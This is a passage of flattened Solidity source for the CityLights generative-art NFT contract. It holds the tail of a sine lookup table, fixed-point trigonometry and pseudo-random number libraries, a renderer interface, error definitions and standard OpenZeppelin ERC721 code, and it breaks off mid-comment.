return 3975583476;
} else {
return 3985519583;
}
} else {
if (i == 194) {
return 3995304457;
} else {
return 4004937729;
}
}
} else {
if (i <= 197) {
if (i == 196) {
return 4014419032;
} else {
return 4023748007;
}
} else {
if (i == 198) {
return 4032924300;
} else {
return 4041947562;
}
}
}
} else {
if (i <= 203) {
if (i <= 201) {
if (i == 200) {
return 4050817451;
} else {
return 4059533630;
}
} else {
if (i == 202) {
return 4068095769;
} else {
return 4076503544;
}
}
} else {
if (i <= 205) {
if (i == 204) {
return 4084756634;
} else {
return 4092854726;
}
} else {
if (i == 206) {
return 4100797514;
} else {
return 4108584696;
}
}
}
}
} else {
if (i <= 215) {
if (i <= 211) {
if (i <= 209) {
if (i == 208) {
return 4116215977;
} else {
return 4123691067;
}
} else {
if (i == 210) {
return 4131009681;
} else {
return 4138171544;
}
}
} else {
if (i <= 213) {
if (i == 212) {
return 4145176382;
} else {
return 4152023930;
}
} else {
if (i == 214) {
return 4158713929;
} else {
return 4165246124;
}
}
}
} else {
if (i <= 219) {
if (i <= 217) {
if (i == 216) {
return 4171620267;
} else {
return 4177836117;
}
} else {
if (i == 218) {
return 4183893437;
} else {
return 4189791999;
}
}
} else {
if (i <= 221) {
if (i == 220) {
return 4195531577;
} else {
return 4201111955;
}
} else {
if (i == 222) {
return 4206532921;
} else {
return 4211794268;
}
}
}
}
}
} else {
if (i <= 239) {
if (i <= 231) {
if (i <= 227) {
if (i <= 225) {
if (i == 224) {
return 4216895797;
} else {
return 4221837315;
}
} else {
if (i == 226) {
return 4226618635;
} else {
return 4231239573;
}
}
} else {
if (i <= 229) {
if (i == 228) {
return 4235699957;
} else {
return 4239999615;
}
} else {
if (i == 230) {
return 4244138385;
} else {
return 4248116110;
}
}
}
} else {
if (i <= 235) {
if (i <= 233) {
if (i == 232) {
return 4251932639;
} else {
return 4255587827;
}
} else {
if (i == 234) {
return 4259081536;
} else {
return 4262413632;
}
}
} else {
if (i <= 237) {
if (i == 236) {
return 4265583990;
} else {
return 4268592489;
}
} else {
if (i == 238) {
return 4271439015;
} else {
return 4274123460;
}
}
}
}
} else {
if (i <= 247) {
if (i <= 243) {
if (i <= 241) {
if (i == 240) {
return 4276645722;
} else {
return 4279005706;
}
} else {
if (i == 242) {
return 4281203321;
} else {
return 4283238485;
}
}
} else {
if (i <= 245) {
if (i == 244) {
return 4285111119;
} else {
return 4286821154;
}
} else {
if (i == 246) {
return 4288368525;
} else {
return 4289753172;
}
}
}
} else {
if (i <= 251) {
if (i <= 249) {
if (i == 248) {
return 4290975043;
} else {
return 4292034091;
}
} else {
if (i == 250) {
return 4292930277;
} else {
return 4293663567;
}
}
} else {
if (i <= 253) {
if (i == 252) {
return 4294233932;
} else {
return 4294641351;
}
} else {
if (i == 254) {
return 4294885809;
} else {
return 4294967296;
}
}
}
}
}
}
}
}
}
}
// File contracts/V1/Trig256.sol
// License: UNLICENSED
/* Copyright (c) 2021 Kohi Art Community, Inc. All rights reserved. */
pragma solidity ^0.8.0;
/*
Provides trigonometric functions in Q31.Q32 format.
exp: Adapted from Petteri Aimonen's libfixmath
See: https://github.com/PetteriAimonen/libfixmath
https://github.com/PetteriAimonen/libfixmath/blob/master/LICENSE
other functions: Adapted from André Slupik's FixedMath.NET
https://github.com/asik/FixedMath.Net/blob/master/LICENSE.txt
THIRD PARTY NOTICES:
====================
libfixmath is Copyright (c) 2011-2021 Flatmush <[email protected]>,
Petteri Aimonen <[email protected]>, & libfixmath AUTHORS
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Copyright 2012 André Slupik
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
This project uses code from the log2fix library, which is under the following license:
The MIT License (MIT)
Copyright (c) 2015 Dan Moulding
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN THE SOFTWARE.
*/
library Trig256 {
int64 private constant LARGE_PI = 7244019458077122842;
int64 private constant LN2 = 0xB17217F7;
int64 private constant LN_MAX = 0x157CD0E702;
int64 private constant LN_MIN = -0x162E42FEFA;
int64 private constant E = -0x2B7E15162;
function sin(int64 x)
internal
pure
returns (int64)
{
(
int64 clamped,
bool flipHorizontal,
bool flipVertical
) = clamp(x);
int64 lutInterval = Fix64V1.div(((256 - 1) * Fix64V1.ONE), Fix64V1.PI_OVER_2);
int rawIndex = Fix64V1.mul_256(clamped, lutInterval);
int64 roundedIndex = int64(Fix64V1.round(rawIndex));
int64 indexError = Fix64V1.sub(int64(rawIndex), roundedIndex);
roundedIndex = roundedIndex >> 32; /* FRACTIONAL_PLACES */
int64 nearestValueIndex = flipHorizontal
? (256 - 1) - roundedIndex
: roundedIndex;
int64 nearestValue = SinLut256.sinlut(nearestValueIndex);
int64 secondNearestValue = SinLut256.sinlut(
flipHorizontal
? (256 - 1) -
roundedIndex -
Fix64V1.sign(indexError)
: roundedIndex + Fix64V1.sign(indexError)
);
int64 delta = Fix64V1.mul(indexError, Fix64V1.abs(Fix64V1.sub(nearestValue, secondNearestValue)));
int64 interpolatedValue = nearestValue + (flipHorizontal ? -delta : delta);
int64 finalValue = flipVertical ? -interpolatedValue: interpolatedValue;
return finalValue;
}
function cos(int64 x)
internal
pure
returns (int64)
{
int64 xl = x;
int64 angle;
if(xl > 0) {
angle = Fix64V1.add(xl, Fix64V1.sub(0 - Fix64V1.PI, Fix64V1.PI_OVER_2));
} else {
angle = Fix64V1.add(xl, Fix64V1.PI_OVER_2);
}
return sin(angle);
}
function sqrt(int64 x)
internal
pure
returns (int64)
{
int64 xl = x;
if (xl < 0)
revert("negative value passed to sqrt");
uint64 num = uint64(xl);
uint64 result = uint64(0);
uint64 bit = uint64(1) << (64 - 2);
while (bit > num) bit >>= 2;
for (uint8 i = 0; i < 2; ++i)
{
while (bit != 0)
{
if (num >= result + bit)
{
num -= result + bit;
result = (result >> 1) + bit;
}
else
{
result = result >> 1;
}
bit >>= 2;
}
if (i == 0)
{
if (num > (uint64(1) << (64 / 2)) - 1)
{
num -= result;
num = (num << (64 / 2)) - uint64(0x80000000);
result = (result << (64 / 2)) + uint64(0x80000000);
}
else
{
num <<= 64 / 2;
result <<= 64 / 2;
}
bit = uint64(1) << (64 / 2 - 2);
}
}
if (num > result) ++result;
return int64(result);
}
function log2_256(int x)
internal
pure
returns (int)
{
if (x <= 0) {
revert("negative value passed to log2_256");
}
// This implementation is based on Clay. S. Turner's fast binary logarithm
// algorithm (C. S. Turner, "A Fast Binary Logarithm Algorithm", IEEE Signal
// Processing Mag., pp. 124,140, Sep. 2010.)
int b = 1 << 31; // FRACTIONAL_PLACES - 1
int y = 0;
int rawX = x;
while (rawX < Fix64V1.ONE) {
rawX <<= 1;
y -= Fix64V1.ONE;
}
while (rawX >= Fix64V1.ONE << 1) {
rawX >>= 1;
y += Fix64V1.ONE;
}
int z = rawX;
for (uint8 i = 0; i < 32 /* FRACTIONAL_PLACES */; i++) {
z = Fix64V1.mul_256(z, z);
if (z >= Fix64V1.ONE << 1) {
z = z >> 1;
y += b;
}
b >>= 1;
}
return y;
}
function log_256(int x)
internal
pure
returns (int)
{
return Fix64V1.mul_256(log2_256(x), LN2);
}
function log2(int64 x)
internal
pure
returns (int64)
{
if (x <= 0) revert("non-positive value passed to log2");
// This implementation is based on Clay. S. Turner's fast binary logarithm
// algorithm (C. S. Turner, "A Fast Binary Logarithm Algorithm", IEEE Signal
// Processing Mag., pp. 124,140, Sep. 2010.)
int64 b = 1 << 31; // FRACTIONAL_PLACES - 1
int64 y = 0;
int64 rawX = x;
while (rawX < Fix64V1.ONE)
{
rawX <<= 1;
y -= Fix64V1.ONE;
}
while (rawX >= Fix64V1.ONE << 1)
{
rawX >>= 1;
y += Fix64V1.ONE;
}
int64 z = rawX;
for (int32 i = 0; i < Fix64V1.FRACTIONAL_PLACES; i++)
{
z = Fix64V1.mul(z, z);
if (z >= Fix64V1.ONE << 1)
{
z = z >> 1;
y += b;
}
b >>= 1;
}
return y;
}
function log(int64 x)
internal
pure
returns (int64)
{
return Fix64V1.mul(log2(x), LN2);
}
function exp(int64 x)
internal
pure
returns (int64)
{
if (x == 0) return Fix64V1.ONE;
if (x == Fix64V1.ONE) return E;
if (x >= LN_MAX) return Fix64V1.MAX_VALUE;
if (x <= LN_MIN) return 0;
/* The algorithm is based on the power series for exp(x):
* http://en.wikipedia.org/wiki/Exponential_function#Formal_definition
*
* From term n, we get term n+1 by multiplying with x/n.
* When the sum term drops to zero, we can stop summing.
*/
// The power-series converges much faster on positive values
// and exp(-x) = 1/exp(x).
bool neg = (x < 0);
if (neg) x = -x;
int64 result = Fix64V1.add(
int64(x),
Fix64V1.ONE
);
int64 term = x;
for (uint32 i = 2; i < 40; i++) {
term = Fix64V1.mul(
x,
Fix64V1.div(term, int32(i) * Fix64V1.ONE)
);
result = Fix64V1.add(result, int64(term));
if (term == 0) break;
}
if (neg) {
result = Fix64V1.div(Fix64V1.ONE, result);
}
return result;
}
function clamp(int64 x)
internal
pure
returns (
int64,
bool,
bool
)
{
int64 clamped2Pi = x;
for (uint8 i = 0; i < 29; ++i) {
clamped2Pi %= LARGE_PI >> i;
}
if (x < 0) {
clamped2Pi += Fix64V1.TWO_PI;
}
bool flipVertical = clamped2Pi >= Fix64V1.PI;
int64 clampedPi = clamped2Pi;
while (clampedPi >= Fix64V1.PI) {
clampedPi -= Fix64V1.PI;
}
bool flipHorizontal = clampedPi >= Fix64V1.PI_OVER_2;
int64 clampedPiOver2 = clampedPi;
if (clampedPiOver2 >= Fix64V1.PI_OVER_2)
clampedPiOver2 -= Fix64V1.PI_OVER_2;
return (clampedPiOver2, flipHorizontal, flipVertical);
}
}
// File contracts/V1/RandomV1.sol
// License: UNLICENSED
/* Copyright (c) 2021 Kohi Art Community, Inc. All rights reserved. */
pragma solidity ^0.8.0;
/*
A pseudo-random number generator, adapted from and matching the algorithm for .NET maximum compatibility Random implementation.
See: https://github.com/dotnet/runtime/blob/f7633f498a8be34bee739b240a0aa9ae6a660cd9/src/libraries/System.Private.CoreLib/src/System/Random.Net5CompatImpl.cs#L192
https://github.com/dotnet/runtime/blob/main/LICENSE.TXT
THIRD PARTY NOTICES:
====================
The MIT License (MIT)
Copyright (c) .NET Foundation and Contributors
All rights reserved.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
library RandomV1 {
int32 private constant MBIG = 0x7fffffff;
int32 private constant MSEED = 161803398;
struct PRNG {
int32[56] _seedArray;
int32 _inext;
int32 _inextp;
}
function buildSeedTable(int32 seed) internal pure returns(PRNG memory prng) {
uint8 ii = 0;
int32 mj;
int32 mk;
int32 subtraction = (seed == type(int32).min) ? type(int32).max : int32(MathV1.abs(seed));
mj = MSEED - subtraction;
prng._seedArray[55] = mj;
mk = 1;
for (uint8 i = 1; i < 55; i++) {
if ((ii += 21) >= 55) {
ii -= 55;
}
prng._seedArray[uint64(ii)] = mk;
mk = mj - mk;
if (mk < 0) mk += MBIG;
mj = prng._seedArray[uint8(ii)];
}
for (uint8 k = 1; k < 5; k++) {
for (uint8 i = 1; i < 56; i++) {
uint8 n = i + 30;
if (n >= 55) {
n -= 55;
}
int64 an = prng._seedArray[1 + n];
int64 ai = prng._seedArray[i];
prng._seedArray[i] = int32(ai - an);
if (prng._seedArray[i] < 0) {
int64 x = prng._seedArray[i];
x += MBIG;
prng._seedArray[i] = int32(x);
}
}
}
prng._inextp = 21;
}
function next(PRNG memory prng, int32 maxValue) internal pure returns (int32) {
require(maxValue >= 0, "maxValue < 0");
int32 retval = next(prng);
int64 fretval = retval * Fix64V1.ONE;
int64 sample = Fix64V1.mul(fretval, Fix64V1.div(Fix64V1.ONE, MBIG * Fix64V1.ONE));
int64 sr = Fix64V1.mul(sample, maxValue * Fix64V1.ONE);
int32 r = int32(sr >> 32 /* FRACTIONAL_PLACES */);
return r;
}
function next(PRNG memory prng, int32 minValue, int32 maxValue) internal pure returns(int32) {
require(maxValue > minValue, "maxValue <= minValue");
int64 range = maxValue - minValue;
if (range <= type(int32).max) {
int32 retval = next(prng);
int64 fretval = retval * Fix64V1.ONE;
int64 sample = Fix64V1.mul(fretval, Fix64V1.div(Fix64V1.ONE, MBIG * Fix64V1.ONE));
int64 sr = Fix64V1.mul(sample, range * Fix64V1.ONE);
int32 r = int32(sr >> 32 /* FRACTIONAL_PLACES */) + minValue;
return r;
}
else {
int64 fretval = nextForLargeRange(prng);
int64 sr = Fix64V1.mul(fretval, range * Fix64V1.ONE);
int32 r = int32(sr >> 32 /* FRACTIONAL_PLACES */) + minValue;
return r;
}
}
function next(PRNG memory prng) internal pure returns(int32) {
int64 retVal;
int32 locINext = prng._inext;
int32 locINextp = prng._inextp;
if (++locINext >= 56) locINext = 1;
if (++locINextp >= 56) locINextp = 1;
int64 a = int64(prng._seedArray[uint32(locINext)]);
int64 b = int64(prng._seedArray[uint32(locINextp)]);
retVal = a - b;
if (retVal == MBIG) {
retVal--;
}
if (retVal < 0) {
retVal += MBIG;
}
prng._seedArray[uint32(locINext)] = int32(retVal);
prng._inext = locINext;
prng._inextp = locINextp;
int32 r = int32(retVal);
return r;
}
function nextForLargeRange(PRNG memory prng) private pure returns(int64) {
int sample1 = next(prng);
int sample2 = next(prng);
bool negative = sample2 % 2 == 0;
if (negative) {
sample1 = -sample1;
}
int64 d = int64(sample1) * Fix64V1.ONE;
d = Fix64V1.add(int64(d), (type(int32).max - 1));
d = Fix64V1.div(int64(d), int64(2) * (type(int32).max - 1));
return d;
}
function nextGaussian(PRNG memory prng) internal pure returns (int64 randNormal) {
int64 u1 = Fix64V1.sub(Fix64V1.ONE, Fix64V1.mul(next(prng) * Fix64V1.ONE, Fix64V1.div(Fix64V1.ONE, Fix64V1.MAX_VALUE)));
int64 u2 = Fix64V1.sub(Fix64V1.ONE, Fix64V1.mul(next(prng) * Fix64V1.ONE, Fix64V1.div(Fix64V1.ONE, Fix64V1.MAX_VALUE)));
int64 sqrt = Trig256.sqrt(Fix64V1.mul(-2 * Fix64V1.ONE, Trig256.log(u1)));
int64 randStdNormal = Fix64V1.mul(sqrt, Trig256.sin(Fix64V1.mul(Fix64V1.TWO, Fix64V1.mul(Fix64V1.PI, u2))));
randNormal = Fix64V1.add(0, Fix64V1.mul(Fix64V1.ONE, randStdNormal));
return randNormal;
}
}
// File contracts/V1/IRenderer.sol
// License: UNLICENSED
/* Copyright (c) 2021 Kohi Art Community, Inc. All rights reserved. */
pragma solidity ^0.8.0;
interface IRenderer {
struct RenderArgs {
int16 index;
uint8 stage;
int32 seed;
uint32[20480] buffer;
RandomV1.PRNG prng;
}
/**
* @notice Renders a chunk of the artwork, given an index.
* @dev The output is an array of packed uint32s, in ARGB format.
*/
function render(RenderArgs memory args) external view returns (RenderArgs memory results);
}
// File contracts/Projects/CityLights/Errors.sol
// License: UNLICENSED
/* Copyright (c) 2021 Kohi Art Community, Inc. All rights reserved. */
pragma solidity ^0.8.0;
error InvalidStage();
error IndexOutOfRange();
error AdminOnly();
error NoOwnerAddress();
error NoCreatorAddress();
error AddressMustBeSet();
error InvalidSeed();
error InvalidRenderer();
error InvalidOwnerRoyalty();
error SeedNotSet();
error SeedAlreadySet();
error CannotPurchaseFromContract();
error InsufficientFundsForPurchase();
error InvalidFundsDistribution();
error CollectionPaused();
error CollectionLocked();
error CollectionInactive();
error CollectionSoldOut();
error PresaleNotOpen();
error PublicSaleNotOpen();
error NotEligibleForPresale();
error NoRemainingPresaleMints();
error AccountExceedsMaxMints();
error RenderDisallowed();
// File contracts/Projects/CityLights/CityLightsProxy.sol
// File contracts/V1/IAttributes.sol
// License: UNLICENSED
/* Copyright (c) 2021 Kohi Art Community, Inc. All rights reserved. */
pragma solidity ^0.8.0;
interface IAttributes {
function getAttributes(int32 seed) external view returns (string memory attributes);
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File @openzeppelin/contracts/utils/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
